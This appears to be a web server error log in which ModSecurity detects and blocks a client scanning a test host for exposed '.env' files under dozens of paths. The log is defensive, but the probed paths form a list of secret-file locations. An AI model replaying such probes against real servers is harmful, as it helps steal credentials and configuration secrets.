[Fri Nov 28 19:31:25.713239 2025] [:error] [pid 387723] [client 35.183.136.84:55166] [client 35.183.136.84] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /lab/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/lab/.env"] [unique_id "aSnqfck1KVkX0HNimsBoCAAAAA8"]
[Fri Nov 28 19:31:25.713483 2025] [:error] [pid 387723] [client 35.183.136.84:55166] [client 35.183.136.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/lab/.env"] [unique_id "aSnqfck1KVkX0HNimsBoCAAAAA8"]
[Fri Nov 28 19:31:25.713732 2025] [:error] [pid 387723] [client 35.183.136.84:55166] [client 35.183.136.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/lab/.env"] [unique_id "aSnqfck1KVkX0HNimsBoCAAAAA8"]
[Fri Nov 28 19:31:26.397183 2025] [:error] [pid 387629] [client 35.183.136.84:55254] [client 35.183.136.84] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cronlab/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cronlab/.env"] [unique_id "aSnqfj5upQdonQ7NnAka_QAAAAg"]
[Fri Nov 28 19:31:26.397433 2025] [:error] [pid 387629] [client 35.183.136.84:55254] [client 35.183.136.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cronlab/.env"] [unique_id "aSnqfj5upQdonQ7NnAka_QAAAAg"]
[Fri Nov 28 19:31:26.397635 2025] [:error] [pid 387629] [client 35.183.136.84:55254] [client 35.183.136.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cronlab/.env"] [unique_id "aSnqfj5upQdonQ7NnAka_QAAAAg"]
[Fri Nov 28 19:31:26.585217 2025] [authz_core:error] [pid 387638] [client 35.183.136.84:54990] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env
[Fri Nov 28 19:31:26.640921 2025] [:error] [pid 383775] [client 35.183.136.84:55286] [client 35.183.136.84] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cron/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cron/.env"] [unique_id "aSnqfkM6gFne4-slYXlYwQAAABI"]
[Fri Nov 28 19:31:26.641160 2025] [:error] [pid 383775] [client 35.183.136.84:55286] [client 35.183.136.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cron/.env"] [unique_id "aSnqfkM6gFne4-slYXlYwQAAABI"]
[Fri Nov 28 19:31:26.641342 2025] [:error] [pid 383775] [client 35.183.136.84:55286] [client 35.183.136.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cron/.env"] [unique_id "aSnqfkM6gFne4-slYXlYwQAAABI"]
[Fri Nov 28 19:31:26.993696 2025] [:error] [pid 390794] [client 35.183.136.84:55396] [client 35.183.136.84] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aSnqftDpgZHzKxbhL6mIowAAAAA"]
[Fri Nov 28 19:31:26.993956 2025] [:error] [pid 390794] [client 35.183.136.84:55396] [client 35.183.136.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aSnqftDpgZHzKxbhL6mIowAAAAA"]
[Fri Nov 28 19:31:26.994161 2025] [:error] [pid 390794] [client 35.183.136.84:55396] [client 35.183.136.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aSnqftDpgZHzKxbhL6mIowAAAAA"]
[Fri Nov 28 19:31:27.404753 2025] [:error] [pid 387715] [client 35.183.136.84:55094] [client 35.183.136.84] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /uploads/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/uploads/.env"] [unique_id "aSnqf69FOLCsq7MColttGQAAAAE"]
[Fri Nov 28 19:31:27.404972 2025] [:error] [pid 387715] [client 35.183.136.84:55094] [client 35.183.136.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/uploads/.env"] [unique_id "aSnqf69FOLCsq7MColttGQAAAAE"]
[Fri Nov 28 19:31:27.405188 2025] [:error] [pid 387715] [client 35.183.136.84:55094] [client 35.183.136.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/uploads/.env"] [unique_id "aSnqf69FOLCsq7MColttGQAAAAE"]
[Fri Nov 28 19:31:27.664198 2025] [:error] [pid 390796] [client 35.183.136.84:55576] [client 35.183.136.84] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/app/.env"] [unique_id "aSnqfzmrDpgOYDlXXxx7jQAAAAM"]
[Fri Nov 28 19:31:27.664456 2025] [:error] [pid 390796] [client 35.183.136.84:55576] [client 35.183.136.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/app/.env"] [unique_id "aSnqfzmrDpgOYDlXXxx7jQAAAAM"]
[Fri Nov 28 19:31:27.664670 2025] [:error] [pid 390796] [client 35.183.136.84:55576] [client 35.183.136.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/app/.env"] [unique_id "aSnqfzmrDpgOYDlXXxx7jQAAAAM"]
[Fri Nov 28 19:31:28.144726 2025] [:error] [pid 390795] [client 35.183.136.84:55696] [client 35.183.136.84] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/datavase/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/Datavase/.env"] [unique_id "aSnqgKNwFVzHB-iiTmSvSQAAAAI"]
[Fri Nov 28 19:31:28.144992 2025] [:error] [pid 390795] [client 35.183.136.84:55696] [client 35.183.136.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/Datavase/.env"] [unique_id "aSnqgKNwFVzHB-iiTmSvSQAAAAI"]
[Fri Nov 28 19:31:28.145198 2025] [:error] [pid 390795] [client 35.183.136.84:55696] [client 35.183.136.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/Datavase/.env"] [unique_id "aSnqgKNwFVzHB-iiTmSvSQAAAAI"]
[Fri Nov 28 19:31:28.593405 2025] [:error] [pid 387629] [client 35.183.136.84:55254] [client 35.183.136.84] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /saas/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/saas/.env"] [unique_id "aSnqgD5upQdonQ7NnAka_gAAAAg"]
[Fri Nov 28 19:31:28.593623 2025] [:error] [pid 387629] [client 35.183.136.84:55254] [client 35.183.136.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/saas/.env"] [unique_id "aSnqgD5upQdonQ7NnAka_gAAAAg"]
[Fri Nov 28 19:31:28.593795 2025] [:error] [pid 387629] [client 35.183.136.84:55254] [client 35.183.136.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/saas/.env"] [unique_id "aSnqgD5upQdonQ7NnAka_gAAAAg"]
[Fri Nov 28 19:31:28.858892 2025] [:error] [pid 390798] [client 35.183.136.84:55938] [client 35.183.136.84] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /database/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database/.env"] [unique_id "aSnqgEUB9pnn_njDE0VgowAAAAY"]
[Fri Nov 28 19:31:28.859156 2025] [:error] [pid 390798] [client 35.183.136.84:55938] [client 35.183.136.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database/.env"] [unique_id "aSnqgEUB9pnn_njDE0VgowAAAAY"]
[Fri Nov 28 19:31:28.859363 2025] [:error] [pid 390798] [client 35.183.136.84:55938] [client 35.183.136.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database/.env"] [unique_id "aSnqgEUB9pnn_njDE0VgowAAAAY"]
[Fri Nov 28 19:31:29.060497 2025] [:error] [pid 390797] [client 35.183.136.84:56100] [client 35.183.136.84] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aSnqgWav54iGRrCaHjossgAAAAQ"]
[Fri Nov 28 19:31:29.060880 2025] [:error] [pid 390797] [client 35.183.136.84:56100] [client 35.183.136.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aSnqgWav54iGRrCaHjossgAAAAQ"]
[Fri Nov 28 19:31:29.061514 2025] [:error] [pid 390797] [client 35.183.136.84:56100] [client 35.183.136.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aSnqgWav54iGRrCaHjossgAAAAQ"]
[Fri Nov 28 19:31:29.346802 2025] [:error] [pid 387638] [client 35.183.136.84:54990] [client 35.183.136.84] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /psnlink/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/psnlink/.env"] [unique_id "aSnqgelfIsf8iBzToT1BKAAAABg"]
[Fri Nov 28 19:31:29.347046 2025] [:error] [pid 387638] [client 35.183.136.84:54990] [client 35.183.136.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/psnlink/.env"] [unique_id "aSnqgelfIsf8iBzToT1BKAAAABg"]
[Fri Nov 28 19:31:29.347232 2025] [:error] [pid 387638] [client 35.183.136.84:54990] [client 35.183.136.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/psnlink/.env"] [unique_id "aSnqgelfIsf8iBzToT1BKAAAABg"]
[Fri Nov 28 19:31:29.349265 2025] [:error] [pid 390799] [client 35.183.136.84:56190] [client 35.183.136.84] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env"] [unique_id "aSnqgV8S5pSkrXDjBSwZfgAAAAc"]
[Fri Nov 28 19:31:29.349490 2025] [:error] [pid 390799] [client 35.183.136.84:56190] [client 35.183.136.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env"] [unique_id "aSnqgV8S5pSkrXDjBSwZfgAAAAc"]
[Fri Nov 28 19:31:29.349668 2025] [:error] [pid 390799] [client 35.183.136.84:56190] [client 35.183.136.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env"] [unique_id "aSnqgV8S5pSkrXDjBSwZfgAAAAc"]
[Fri Nov 28 19:31:30.139531 2025] [:error] [pid 387629] [client 35.183.136.84:55254] [client 35.183.136.84] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "aSnqgj5upQdonQ7NnAka_wAAAAg"]
[Fri Nov 28 19:31:30.139754 2025] [:error] [pid 387629] [client 35.183.136.84:55254] [client 35.183.136.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "aSnqgj5upQdonQ7NnAka_wAAAAg"]
[Fri Nov 28 19:31:30.139961 2025] [:error] [pid 387629] [client 35.183.136.84:55254] [client 35.183.136.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "aSnqgj5upQdonQ7NnAka_wAAAAg"]
[Fri Nov 28 19:31:30.453362 2025] [:error] [pid 387638] [client 35.183.136.84:54990] [client 35.183.136.84] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "aSnqgulfIsf8iBzToT1BKQAAABg"]
